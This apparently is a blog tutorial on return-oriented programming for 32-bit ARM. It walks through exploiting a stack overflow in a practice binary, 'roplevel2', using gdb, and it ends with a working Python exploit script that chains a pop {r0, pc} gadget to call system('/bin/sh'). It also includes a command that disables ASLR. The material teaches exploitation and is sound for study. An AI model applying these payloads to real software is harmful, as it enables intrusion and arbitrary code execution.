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    Return Oriented Programming on ARM (32-bit)
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      <p> 05 June, 2019 </p>
      <h1 id="return-oriented-programming-on-arm-32-bit">Return Oriented Programming on ARM (32-bit)</h1>

<h2 id="making-stack-based-exploitation-great-again">Making stack-based exploitation great again!</h2>

<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
assembly to follow along. I highly recommend
<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
Basics</a>. Once you’re
comfortable with it, proceed with the next bit — environment setup.</p>

<h3 id="setup">Setup</h3>

<p>Since we’re working with the ARM architecture, there are two options to go
forth with: </p>

<ol>
<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. 
And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
The scripts found inside should be self-explanatory.</li>
<li>Use actual ARM hardware, like an RPi.</li>
</ol>

<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
may use <code>radare2</code>, IDA or anything else, really. All of which can be
trivially installed.</p>

<p>And for the sake of simplicity, disable ASLR:</p>

<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space
</code></pre></div>

<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
<a href="/static/files/roplevel2.c">roplevel2</a>. </p>

<p>Compile it:</p>

<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
</code></pre></div>

<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>

<h3 id="a-primer-on-rop">A primer on ROP</h3>

<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
In essence, no code in the binary is actually modified and the entire exploit
is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>

<p>A gadget is essentially a small sequence of code (instructions), ending with
a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
there’s generally a call to <code>system()</code>, to acheive code execution.</p>

<p>In practice, the process of executing a ropchain is something like this:</p>

<ul>
<li>confirm the existence of a stack-based buffer overflow</li>
<li>identify the offset at which the instruction pointer gets overwritten</li>
<li>locate the addresses of the gadgets you wish to use</li>
<li>craft your input keeping in mind the stack’s layout, and chain the addresses
of your gadgets</li>
</ul>

<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”. 
Check it out, it might be just what you needed for that “aha!” moment :)</p>

<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
that should put things into perspective.</p>

<h3 id="exploring-our-binary">Exploring our binary</h3>

<p>Start by running it, and entering any arbitrary string. On entering a fairly
large string, say, “A” × 20, we
see a segmentation fault occur.</p>

<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>

<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>

<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>

<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and 
<code>gadget</code>. Disassembling the <code>main</code> function:</p>

<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>

<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are 
never actually called.</p>

<p>Disassembling the <code>gadget</code> function:</p>

<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>

<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
instruction in the middle. This is a <strong>gadget</strong>.</p>

<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
are used for this. So this gadget effectively allows us to pass arguments to
functions using <code>r0</code>, and subsequently jumping to them by passing its address
in <code>pc</code>. Neat.</p>

<p>Moving on to the disassembly of the <code>winner</code> function:</p>

<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>

<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
So our end goal here is to, quite obviously, execute code via the <code>system()</code>
function.</p>

<p>Now that we have an overview of what’s in the binary, let’s formulate a method
of exploitation by messing around with inputs.</p>

<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>

<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
screenshot.</p>

<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>

<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
the <code>pc</code> has been overwritten with our input.
So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>

<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>

<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
of the second instruction — <code>add r11, sp, #4</code>. 
For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
the address of <code>winner</code>. Note the endianness.</p>

<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2
</code></pre></div>

<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>

<p>The reason we don’t jump to the first instruction is because we want to control the stack
ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
those out after <code>winner</code> is done executing and we will no longer control 
where it jumps to.</p>

<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”. 
But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
to do what we want (run a command, execute a shell, etc.).</p>

<p>To do that, we’ll follow a multi-step process: </p>

<ol>
<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
<code>r0</code>.</li>
<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
</ol>

<p>The pseudo-code is something like this:</p>

<pre><code>string = AAAABBBBCCCCDDDDEEEE
gadget = # addr of gadget
binsh  = # addr of /bin/sh
system = # addr of system()

print(string + gadget + binsh + system)
</code></pre>

<p>Clean and mean.</p>

<h3 id="the-exploit">The exploit</h3>

<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
It allows us to pack the bytes of addresses to the endianness of our choice.
It probably does a lot more, but who cares.</p>

<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>

<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
</code></pre>

<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>

<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
found from the disassmblies from earlier. Here’s the final exploit code:</p>

<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>

<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span>
<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
</code></pre></div>

<p>Honestly, not too far off from our pseudo-code :)</p>

<p>Let’s see it in action:</p>

<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>

<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
when the pipe closes, since there’s no input coming in from STDIN.
To get around this, we use <code>cat(1)</code> which allows us to relay input through it
to the shell. Nifty trick.</p>

<h3 id="conclusion">Conclusion</h3>

<p>This was a fairly basic challenge, with everything laid out conveniently. 
Actual ropchaining is a little more involved, with a lot more gadgets to be chained
to acheive code execution.</p>

<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
 
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